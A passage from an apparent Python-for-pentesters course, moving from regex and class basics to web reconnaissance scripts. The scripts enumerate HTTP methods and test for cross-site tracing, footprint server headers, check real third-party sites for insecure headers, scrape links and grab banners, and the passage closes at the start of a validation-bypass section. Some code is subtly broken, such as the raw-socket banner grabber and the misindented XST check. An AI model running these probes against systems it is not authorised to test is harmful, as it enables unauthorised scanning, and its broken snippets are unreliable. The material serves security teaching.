  1206. ['com', 'com', 'com', 'biz']
  1207.  
  1208.  
  1209.  
  1210. ********************************************
  1211. * Problem 4: Return date from given string *
  1212. ********************************************
  1213.  
  1214.  
  1215. Here we will use "\d" to extract digit.
  1216.  
  1217.  
  1218. Solution:
  1219. ----------------------------------------------------------------------------------------------------------------------
  1220.  
  1221. Code
  1222. ---------------------------Type This-----------------------------------
  1223. $ python3
  1224. import re
  1225.  
  1226. result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
  1227. print (result)
  1228.  
  1229. ----------------------------------------------------------------------
  1230.  
  1231. Output:
  1232. ['12-05-2007', '11-11-2016', '12-01-2009']
  1233.  
  1234. If you want to extract only year again parenthesis "( )" will help you.
  1235.  
  1236.  
  1237. Code
  1238.  
  1239. ---------------------------Type This-----------------------------------
  1240. $ python3
  1241. import re
  1242. result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
  1243. print (result)
  1244.  
  1245. ----------------------------------------------------------------------
  1246.  
  1247. Output:
  1248. ['2007', '2016', '2009']
  1249.  
  1250.  
  1251.  
  1252.  
  1253.  
  1254. *******************************************************************
  1255. * Problem 5: Return all words of a string those starts with vowel *
  1256. *******************************************************************
  1257.  
  1258.  
  1259.  
  1260.  
  1261. Solution-1  Return each words
  1262. -----------------------------------------------------------------------------------------------------------------
  1263.  
  1264. Code
  1265. ---------------------------Type This-----------------------------------
  1266. $ python3
  1267. import re
  1268. result=re.findall(r'\w+','Python is the best')
  1269. print (result)
  1270. ----------------------------------------------------------------------
  1271.  
  1272. Output:
  1273. ['Python', 'is', 'the', 'best']
  1274.  
  1275.  
  1276.  
  1277.  
  1278.  
  1279. Solution-2  Return words starts with alphabets (using [])
  1280. ------------------------------------------------------------------------------------------------------------------
  1281.  
  1282. Code
  1283. ---------------------------Type This-----------------------------------
  1284. $ python3
  1285. import re
  1286. result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
  1287. print (result)
  1288.  
  1289. ----------------------------------------------------------------------
  1290.  
  1291. Output:
  1292. ['ove', 'on']
  1293.  
  1294. Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
  1295.  
  1296.  
  1297.  
  1298.  
  1299.  
  1300. Solution- 3
  1301. ------------------------------------------------------------------------------------------------------------------
  1302.  
  1303. Code
  1304. ---------------------------Type This-----------------------------------
  1305. $ python3
  1306. import re
  1307. result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
  1308. print (result)
  1309.  
  1310. ----------------------------------------------------------------------
  1311.  
  1312. Output:
  1313. []
  1314.  
  1315. In similar ways, we can extract words those starts with constant using "^" within square bracket.
  1316.  
  1317.  
  1318. Code
  1319. ---------------------------Type This-----------------------------------
  1320. $ python3
  1321. import re
  1322. result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
  1323. print (result)
  1324.  
  1325. ----------------------------------------------------------------------
  1326.  
  1327. Output:
  1328. [' love', ' Python']
  1329.  
  1330. Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
  1331.  
  1332.  
  1333. Code
  1334. ---------------------------Type This-----------------------------------
  1335. $ python3
  1336. import re
  1337. result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
  1338. print (result)
  1339.  
  1340. ----------------------------------------------------------------------
  1341.  
  1342. Output:
  1343. ['love', 'Python']
  1344.  
  1345.  
  1346.  
  1347.  
  1348.  
  1349.  
  1350. *************************************************************************************************
  1351. * Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
  1352. *************************************************************************************************
  1353.  
  1354.  
  1355. We have a list phone numbers in list "li" and here we will validate phone numbers using regular
  1356.  
  1357.  
  1358.  
  1359.  
  1360. Solution
  1361. -------------------------------------------------------------------------------------------------------------------------------------
  1362.  
  1363.  
  1364. Code
  1365. ---------------------------Type This-----------------------------------
  1366. $ python3
  1367. import re
  1368. li=['9999999999','999999-999','99999x9999']
  1369. for val in li:
  1370.     if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
  1371.         print ('yes')
  1372.     else:
  1373.         print ('no')
  1374.  
  1375.  
  1376. ----------------------------------------------------------------------
  1377.  
  1378. Output:
  1379. yes
  1380. no
  1381. no
  1382.  
  1383.  
  1384.  
  1385.  
  1386.  
  1387. ******************************************************
  1388. * Problem 7: Split a string with multiple delimiters *
  1389. ******************************************************
  1390.  
  1391.  
  1392.  
  1393. Solution
  1394. ---------------------------------------------------------------------------------------------------------------------------
  1395.  
  1396.  
  1397. Code
  1398. ---------------------------Type This-----------------------------------
  1399. $ python3
  1400. import re
  1401. line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
  1402. result= re.split(r'[;,\s]', line)
  1403. print (result)
  1404.  
  1405. ----------------------------------------------------------------------
  1406.  
  1407. Output:
  1408. ['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
  1409.  
  1410.  
  1411.  
  1412. We can also use method re.sub() to replace these multiple delimiters with one as space " ".
  1413.  
  1414.  
  1415. Code
  1416. ---------------------------Type This-----------------------------------
  1417. $ python3
  1418. import re
  1419. line = 'asdf fjdk;afed,fjek,asdf,foo'
  1420. result= re.sub(r'[;,\s]',' ', line)
  1421. print (result)
  1422.  
  1423. ----------------------------------------------------------------------
  1424.  
  1425. Output:
  1426. asdf fjdk afed fjek asdf foo
  1427.  
  1428.  
  1429.  
  1430.  
  1431. **************************************************
  1432. * Problem 8: Retrieve Information from HTML file *
  1433. **************************************************
  1434.  
  1435.  
  1436.  
  1437. I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
  1438.  
  1439.  
  1440.  
  1441. Create a file (file.txt) that contains the following data:
  1442. ---------------------------Paste This-----------------------------------
  1443.  
  1444. <tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
  1445. <tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
  1446. <tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
  1447. <tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
  1448. <tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
  1449. <tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
  1450. <tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
  1451. ----------------------------------------------------------------------
  1452.  
  1453. Solution:
  1454.  
  1455.  
  1456.  
  1457. Code
  1458. ---------------------------Type This-----------------------------------
  1459. $ python3
  1460. f=open('file.txt', "r")
  1461. import re
  1462. str = f.read()
  1463. result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
  1464. print (result)
  1465. ----------------------------------------------------------------------
  1466.  
  1467. Output:
  1468. [('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
  1469.  
  1470.  
  1471.  
  1472. You can read html file using library urllib (see below code).
  1473.  
  1474.  
  1475. Code
  1476. ---------------------------Type This-----------------------------------
  1477. $ python3
  1478. from urllib.request import urlopen
  1479. html = urlopen("http://www.google.com/")
  1480. print(html.read())
  1481. ----------------------------------------------------------------------
  1482. NOTE: You can put any website URL that you want in the urllib2.urlopen('')
  1483.  
  1484.  
  1485.  
  1486.  
  1487.  
  1488. #############
  1489. # Functions #
  1490. #############
  1491.  
  1492.  
  1493. ***********************
  1494. * What are Functions? *
  1495. ***********************
  1496.  
  1497.  
  1498. Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
  1499.  
  1500. How do you write functions in Python?
  1501.  
  1502. Python makes use of blocks.
  1503.  
  1504. A block is a area of code of written in the format of:
  1505.  
  1506. block_head:
  1507.    
  1508.      1st block line
  1509.    
  1510.      2nd block line
  1511.    
  1512.      ...
  1513.  
  1514.  
  1515. Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while".
  1516.  
  1517. Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
  1518.  
  1519. def my_function():
  1520.    print("Hello From My Function!")
  1521.  
  1522.  
  1523. Functions may also receive arguments (variables passed from the caller to the function). For example:
  1524.  
  1525. def my_function_with_args(username, greeting):
  1526.    print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
  1527.  
  1528.  
  1529. Functions may return a value to the caller, using the keyword- 'return' . For example:
  1530.  
  1531. def sum_two_numbers(a, b):
  1532.    return a + b
  1533.  
  1534.  
  1535. ****************************************
  1536. * How do you call functions in Python? *
  1537. ****************************************
  1538.  
  1539. Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
  1540.  
  1541. # Define our 3 functions
  1542. ---------------------------Paste This-----------------------------------
  1543. def my_function():
  1544.   print("Hello From My Function!")
  1545. ----------------------------------------------------------------------
  1546.  
  1547.  
  1548. ---------------------------Paste This-----------------------------------
  1549. def my_function_with_args(username, greeting):
  1550.   print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
  1551. ----------------------------------------------------------------------
  1552.  
  1553.  
  1554. ---------------------------Paste This-----------------------------------
  1555. def sum_two_numbers(a, b):
  1556.   return a + b
  1557. ----------------------------------------------------------------------
  1558.  
  1559.  
  1560. Let's print(a simple greeting)
  1561.  
  1562. ---------------------------Paste This-----------------------------------
  1563. my_function()
  1564. -----------------------------------------------------------------------
  1565.  
  1566.  
  1567. Prints - "Hello, Joe, From My Function!, I wish you a great year!"
  1568. ---------------------------Paste This-----------------------------------
  1569. my_function_with_args("Joe", "a great year!")
  1570. -----------------------------------------------------------------------
  1571.  
  1572.  
  1573. After this line x will hold the value 3!
  1574. ---------------------------Paste This-----------------------------------
  1575. x = sum_two_numbers(1,2)
  1576. x
  1577. -----------------------------------------------------------------------
  1578.  
  1579.  
  1580.  
  1581.  
  1582. ##########################
  1583. # Python Lambda Function #
  1584. ##########################
  1585.  
  1586.  
  1587. Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
  1588.  
  1589. lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
  1590.  
  1591. Let’s take an example:
  1592.  
  1593. Consider a function multiply()
  1594.  
  1595. def multiply(x, y):
  1596.    return x * y
  1597.  
  1598.  
  1599. This function is too small, so let’s convert it into a lambda function.
  1600.  
  1601. To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
  1602.  
  1603. ---------------------------Type This-----------------------------------
  1604.  
  1605. >>> r = lambda x, y: x * y
  1606. >>> r(12,3)
  1607. 36
  1608. -----------------------------------------------------------------------
  1609.  
  1610. Here we are using two arguments x  and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
  1611.  
  1612. You don’t need to assign lambda function to a variable.
  1613.  
  1614. ---------------------------Type This-----------------------------------
  1615.  
  1616. >>> (lambda x, y: x * y)(3,4)
  1617. 12
  1618. -----------------------------------------------------------------------
  1619.  
  1620. Note that lambda function can’t contain more than one expression.
  1621.  
  1622.  
  1623.  
  1624. ##################
  1625. # Python Classes #
  1626. ##################
  1627.  
  1628.  
  1629. ****************
  1630. * Introduction *
  1631. ****************
  1632.  
  1633. Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
  1634.  
  1635. You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
  1636.  
  1637.  
  1638. ***********************
  1639. * Real World Examples *
  1640. ***********************
  1641.  
  1642.  
  1643. This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
  1644.  
  1645. Start off by thinking about a web vuln scanner.
  1646.  
  1647. What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
  1648.  
  1649. So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
  1650.  
  1651.  
  1652. ******************
  1653. * A Python Class *
  1654. ******************
  1655.  
  1656.  
  1657. Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
  1658.  
  1659. ---------------------------Paste This-----------------------------------
  1660.  
  1661. class WebVulnScanner(object):
  1662.    make = 'Acunetix'
  1663.    model = '10.5'
  1664.    year = '2014'
  1665.    version ='Consultant Edition'
  1666.  
  1667.    profile = 'High Risk'
  1668.  
  1669.  
  1670.    def crawling(self, speed):
  1671.        print("Crawling at %s" % speed)
  1672.  
  1673.  
  1674.    def scanning(self, speed):
  1675.        print("Scanning at %s" % speed)
  1676. -----------------------------------------------------------------------
  1677.  
  1678.  
  1679. Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes.
  1680.  
  1681. From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
  1682.  
  1683.  
  1684. *****************
  1685. * What is Self? *
  1686. *****************
  1687.  
  1688. Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this.
  1689. ################# Do not do this lab #################
  1690. ---------------------------Type This-----------------------------------
  1691.  
  1692. print("Your %s is crawling at %s" % (self.model, speed))
  1693. -----------------------------------------------------------------------
  1694. ################# end of lab that doesn't work #################
  1695.  
  1696. It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
  1697.  
  1698.  
  1699. *****************
  1700. * Using A Class *
  1701. *****************
  1702.  
  1703.  
  1704. You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
  1705. ---------------------------Type This-----------------------------------
  1706.  
  1707. myscanner = WebVulnScanner()
  1708. -----------------------------------------------------------------------
  1709.  
  1710.  
  1711. That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
  1712.  
  1713. Get your scanner object to print out its make and model.
  1714. ---------------------------Type This-----------------------------------
  1715.  
  1716. print("%s %s" % (myscanner.make, myscanner.model))
  1717. -----------------------------------------------------------------------
  1718.  
  1719. The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
  1720. ---------------------------Type This-----------------------------------
  1721.  
  1722. myscanner.scanning('10req/sec')
  1723. -----------------------------------------------------------------------
  1724.  
  1725. What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
  1726. ---------------------------Type This-----------------------------------
  1727.  
  1728. print("The profile of my scanner settings is %s" % myscanner.profile)
  1729. myscanner.profile = "default"
  1730. print("The profile of my scanner settings is %s" % myscanner.profile)
  1731. -----------------------------------------------------------------------
  1732.  
  1733. Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
  1734. ---------------------------Type This-----------------------------------
  1735.  
  1736. mynewscanner = WebVulnScanner()
  1737. print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
  1738. -----------------------------------------------------------------------
  1739.  
  1740. That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
  1741.  
  1742.  
  1743. #########################################
  1744. # The self variable in python explained #
  1745. #########################################
  1746.  
  1747. So lets start by making a class involving the self variable.
  1748.  
  1749. A simple class :
  1750.  
  1751. So here is our class:
  1752. ---------------------------Paste This-----------------------------------
  1753.  
  1754. class port(object):
  1755.    open = False
  1756.    def open_port(self):
  1757.        if not self.open:
  1758.            print("port open")
  1759.  
  1760. -----------------------------------------------------------------------
  1761.  
  1762. First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a propertyopen” which is currently false. After that we assign it a function open_port which can only occur ifopenis False which means that the port is open.
  1763.  
  1764. Making a Port:
  1765.  
  1766. Now that we have made a class for a Port, lets actually make a port:
  1767. ---------------------------Type This-----------------------------------
  1768.  
  1769. x = port()
  1770. -----------------------------------------------------------------------
  1771.  
  1772. Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
  1773. ---------------------------Type This-----------------------------------
  1774.  
  1775. x.open
  1776. -----------------------------------------------------------------------
  1777.  
  1778. The above command is same as:
  1779. ---------------------------Type This-----------------------------------
  1780.  
  1781. port().open
  1782. -----------------------------------------------------------------------
  1783.  
  1784. Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
  1785. ---------------------------Type This-----------------------------------
  1786.  
  1787. >>> x = port()
  1788. >>> x.open
  1789. False
  1790. >>> y = port()
  1791. >>> y.open = True
  1792. >>> y.open
  1793. True
  1794. >>> x.open
  1795. False
  1796.  
  1797. -----------------------------------------------------------------------
  1798. The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code.
  1799.  
  1800. ---------------------------Paste This-----------------------------------
  1801.  
  1802. class port(object):
  1803.    open = False
  1804.    def open_port(this):
  1805.        if not this.open:
  1806.            print("port open")
  1807.  
  1808. -----------------------------------------------------------------------
  1809.  
  1810.  
  1811.  
  1812.  
  1813.  
  1814.  
  1815.                             ###############################################################
  1816. ----------- ############### # Day 3: Web App Pentesting, PW Cracking and more with Python # ############### -----------
  1817.                             ###############################################################
  1818.  
  1819.  
  1820.  
  1821. ################################
  1822. # Web App Testing with Python3 #
  1823. ################################
  1824.  
  1825. ################################################
  1826. # Python Penetration Testing—Application Layer #
  1827. ################################################
  1828.  
  1829. ########################################
  1830. # Testing availability of HTTP methods #
  1831. ########################################
  1832.  
  1833. A  very  good  practice  for  a  penetration  tester  is  to  start  by  listing  the  various  available HTTP methods.
  1834. Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:  
  1835.  
  1836. To begin with, we need to import the requests library:
  1837.  
  1838. ---------------------------
  1839. import requests
  1840. ---------------------------
  1841.  
  1842. After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.
  1843.  
  1844. ----------------------------------------------------------------------------
  1845. method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
  1846. ----------------------------------------------------------------------------
  1847.  
  1848. The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.
  1849.  
  1850. ------------------------------------------------------
  1851. for method in method_list:
  1852.    req = requests.request(method, 'Enter the URL’)
  1853.   print (method, req.status_code, req.reason)
  1854. ------------------------------------------------------
  1855.  
  1856. The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
  1857.  
  1858. -------------------------------------------------------------
  1859. if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
  1860.   print ('Cross Site Tracing(XST) is possible')
  1861. -------------------------------------------------------------
  1862.  
  1863.  
  1864. *** Full code with example url: ***
  1865.  
  1866. ---------------------------Type This-----------------------------------
  1867. nano xst.py
  1868.  
  1869.  
  1870. ---------------------------Paste This----------------------------------
  1871. import requests
  1872. method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
  1873. for method in method_list:
  1874.   req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
  1875.   print (method, req.status_code, req.reason)
  1876. if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
  1877.   print ('Cross Site Tracing(XST) is possible')
  1878.  
  1879. -------------------------------------------------------------------------
  1880.  
  1881.  
  1882. After running the above script for a particular web server, we will get 200 OK responses for a particular methodaccepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross  site  tracing  (XST), we  will  get 405  Not  Allowed responses  from  the  web  server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
  1883.  
  1884.  
  1885. ---------------------------Type This-----------------------------------
  1886. python3 xst.py
  1887. -----------------------------------------------------------------------
  1888.  
  1889. ##########################################
  1890. # Foot printing by checking HTTP headers #
  1891. ##########################################
  1892.  
  1893.  
  1894. HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:
  1895.  
  1896. To begin with, let us import the requests library:
  1897.  
  1898. ------------------------
  1899. import requests
  1900. ------------------------
  1901.  
  1902. We need to send a  GET request to the web  server. The following line  of code makes a simple GET request through the requests library.
  1903.  
  1904. ---------------------------------------------
  1905. request = requests.get('enter the URL')
  1906. ---------------------------------------------
  1907.  
  1908. Next, we will generate a list of headers about which you need the information.
  1909.  
  1910. ---------------------------------------------------------------------------------------------------------------
  1911. header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
  1912. ---------------------------------------------------------------------------------------------------------------
  1913.  
  1914. Next is a try and except block.
  1915.  
  1916. ---------------------------------------------------
  1917. for header in header_list:
  1918.  
  1919.   try:
  1920.      result = request.headers[header]
  1921.      print ('%s: %s' % (header, result))
  1922.   except Exception as err:
  1923.         print ('%s: No Details Found' % header)
  1924.  
  1925. ---------------------------------------------------
  1926.  
  1927.  
  1928.  
  1929.  
  1930. *** Example Full Code: ***
  1931.  
  1932. ---------------------------Type This-----------------------------------
  1933. nano headercheck.py
  1934.  
  1935.  
  1936. ---------------------------Paste This----------------------------------
  1937. #!/usr/bin/env python3
  1938. import requests
  1939. request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php')
  1940. header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
  1941. for header in header_list:
  1942.      try:
  1943.         result = request.headers[header]
  1944.         print ('%s: %s' % (header, result))
  1945.      except Exception as err:
  1946.               print ('%s: No Details Found' % header)
  1947. ----------------------------------------------------------------------------------------------------------------
  1948.  
  1949.  
  1950. After running the above script for a particular web server, we will get the information about the  headers  provided  in  the  header  list.  If  there  will  be  no  information  for  a  particular header then it will give the message ‘No Details Found’.
  1951.  
  1952.  
  1953. ---------------------------Type This-----------------------------------
  1954. python3 headercheck.py
  1955. -----------------------------------------------------------------------
  1956.  
  1957.  
  1958. ##############################################
  1959. # Testing insecure web server configurations #
  1960. ##############################################
  1961.  
  1962. We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt.
  1963. ---------------------------Type This-----------------------------------
  1964. nano websites.txt
  1965.  
  1966. ---------------------------Paste This----------------------------------
  1967. https://www.google.com
  1968. https://www.cnn.com
  1969. https://foxnews.com
  1970. -----------------------------------------------------------------------
  1971.  
  1972.  
  1973.  
  1974.  
  1975. ---------------------------Type This-----------------------------------
  1976. nano insecure_config_check.py
  1977.  
  1978.  
  1979. ---------------------------Paste This----------------------------------
  1980. #!/usr/bin/eve python3
  1981. import requests
  1982. urls = open("websites.txt", "r")
  1983. for url in urls:
  1984.   url = url.strip()
  1985.   req = requests.get(url)
  1986.   print (url, 'report:')
  1987.   try:
  1988.      protection_xss = req.headers['X-XSS-Protection']
  1989.      if protection_xss != '1; mode=block':
  1990.         print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
  1991.   except:
  1992.      print ('X-XSS-Protection not set, it may be possible')
  1993.   try:
  1994.      options_content_type = req.headers['X-Content-Type-Options']
  1995.      if options_content_type != 'nosniff':
  1996.         print ('X-Content-Type-Options not set properly:', options_content_type)
  1997.   except:
  1998.      print ('X-Content-Type-Options not set')
  1999.   try:
  2000.      transport_security = req.headers['Strict-Transport-Security']
  2001.   except:
  2002.      print ('HSTS header not set properly, Man in the middle attacks is possible')
  2003.   try:
  2004.      content_security = req.headers['Content-Security-Policy']
  2005.      print ('Content-Security-Policy set:', content_security)
  2006.   except:
  2007.      print ('Content-Security-Policy missing')
  2008.  
  2009. -----------------------------------------------------------------------
  2010.  
  2011.  
  2012. ---------------------------Type This-----------------------------------
  2013. python3 insecure_config_check.py
  2014. -----------------------------------------------------------------------
  2015.  
  2016.  
  2017. #####################################
  2018. # Footprinting of a Web Application #
  2019. #####################################
  2020.  
  2021. Methods for Footprinting of a Web Application
  2022.  
  2023.  
  2024. Gathering information using parser BeautifulSoup
  2025.  
  2026.  
  2027. Suppose we want to collect all the hyperlinks from  a  web page; we can make use of a parser called BeautifulSoup.The parser is a Python library for pulling data out of HTML and XML files. It can be used with urlib because it needs an input (document or url) to create a soup object and it can’t fetch web page by itself.
  2028.  
  2029. To  begin  with,  let  us import  the  necessary  packages. We  will  import urlib and BeautifulSoup. Remember before importing BeautifulSoup, we need to install it.
  2030.  
  2031. --------------------------------------
  2032. apt-get install python3-bs4             <-- This is already installed. You don't have to do this step
  2033. --------------------------------------
  2034.  
  2035. ---------------------------Type This-----------------------------------
  2036. $ python3
  2037. import urllib
  2038. from bs4 import BeautifulSoup
  2039. -----------------------------------------------------------------------
  2040.  
  2041. The Python script given below will gather the title of web page andhyperlinks:
  2042.  
  2043. Now,  we  need  a variable,  which can  store  the  URL  of  the  website.  Here, we  will  use  avariable named ‘url’. We will also use thepage.read()function that can store the web page and assign the web page to the variable html_page.
  2044.  
  2045.  
  2046. ---------------------------Type This-----------------------------------
  2047. from urllib.request import urlopen
  2048.  
  2049. url = 'http://www.python.org'
  2050. file = urlopen(url)
  2051. html_page = file.read()
  2052. -----------------------------------------------------------------------
  2053.  
  2054. The html_page will be assigned as an input to create soup object.
  2055.  
  2056. ---------------------------Type This-----------------------------------
  2057. soup_object = BeautifulSoup(html_page)
  2058. -----------------------------------------------------------------------
  2059.  
  2060. Following two lines will print the title name with tags and without tags respectively.
  2061.  
  2062. ---------------------------Type This-----------------------------------
  2063. print(soup_object.title)
  2064. print(soup_object.title.text)
  2065. -----------------------------------------------------------------------
  2066.  
  2067. The line of code shown below will save all the hyperlinks.
  2068.  
  2069. ---------------------------Type This-----------------------------------
  2070. for link in soup_object.find_all('a'):
  2071.    print(link.get('href'))
  2072. -----------------------------------------------------------------------
  2073.  
  2074.  
  2075.  
  2076.  
  2077. *** Full example code: ***
  2078.  
  2079. ---------------------------Type This-----------------------------------
  2080.  
  2081. import urllib
  2082.  
  2083. from bs4 import BeautifulSoup
  2084.  
  2085. from urllib.request import urlopen
  2086.  
  2087. url = 'http://www.python.org'
  2088. file = urlopen(url)
  2089. html_page = file.read()
  2090. print(html_page)
  2091.  
  2092. soup_object= BeautifulSoup(html_page)
  2093.  
  2094.  
  2095. print(soup_object.title)
  2096. print(soup_object.title.text)
  2097.  
  2098.  
  2099. for link in soup_object.find_all('a'):
  2100.    print(link.get('href'))
  2101.  
  2102. -----------------------------------------------------------------------
  2103.  
  2104.  
  2105. ###################
  2106. # Banner grabbing #
  2107. ###################
  2108.  
  2109.  
  2110. The following Python script helps grab the banner using socket programming:
  2111.  
  2112. ------------------------------------------------------------------------------
  2113. import socket
  2114.  
  2115. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0800))
  2116.  
  2117. host = input("Enter the host name: ")
  2118. port = int(input("Enter Port: "))
  2119.  
  2120.  
  2121. # host = '192.168.1.54'
  2122. # port = 22
  2123.  
  2124. s.connect((host, port))
  2125.  
  2126. try:
  2127.     s.send(b'GET HTTP/1.1 \r\n')
  2128.     ret = s.recv(1024)
  2129.     print('[+]{}'.format(ret))
  2130. except Exception as e:
  2131.     print('[-] Not information grabbed: {}'.format(e))
  2132. -------------------------------------------------------------------------------
  2133.  
  2134. After running the above script, we will get similar kind of information about headers as we got from the Python script of footprinting of HTTP headers in the previous section.
  2135.  
  2136.  
  2137. ###################################################
  2138. # Server-side Validation & Client-side Validation #
  2139. ###################################################
  2140.  
  2141.  
  2142. #######################################
  2143. # Python Module for Validation Bypass #
  2144. #######################################
  2145.  
  2146.  
  2147. The Python module that we are going to useis mechanize. Itis a Python web browser, whichis  providing  the  facility  of  obtaining  web  forms  in  a  web  page  and  facilitates  the submission of input values too. With the help of mechanize,we can bypass the validation and temper client-side parameters. However,before importing it in our Python script,we need to install it by executing the following command:
  2148.  
  2149. ---------------------------------
  2150. pip3 install mechanize              <-- This is already installed. You don't have to do this step
  2151. ---------------------------------
  2152.  
  2153.  
  2154.  
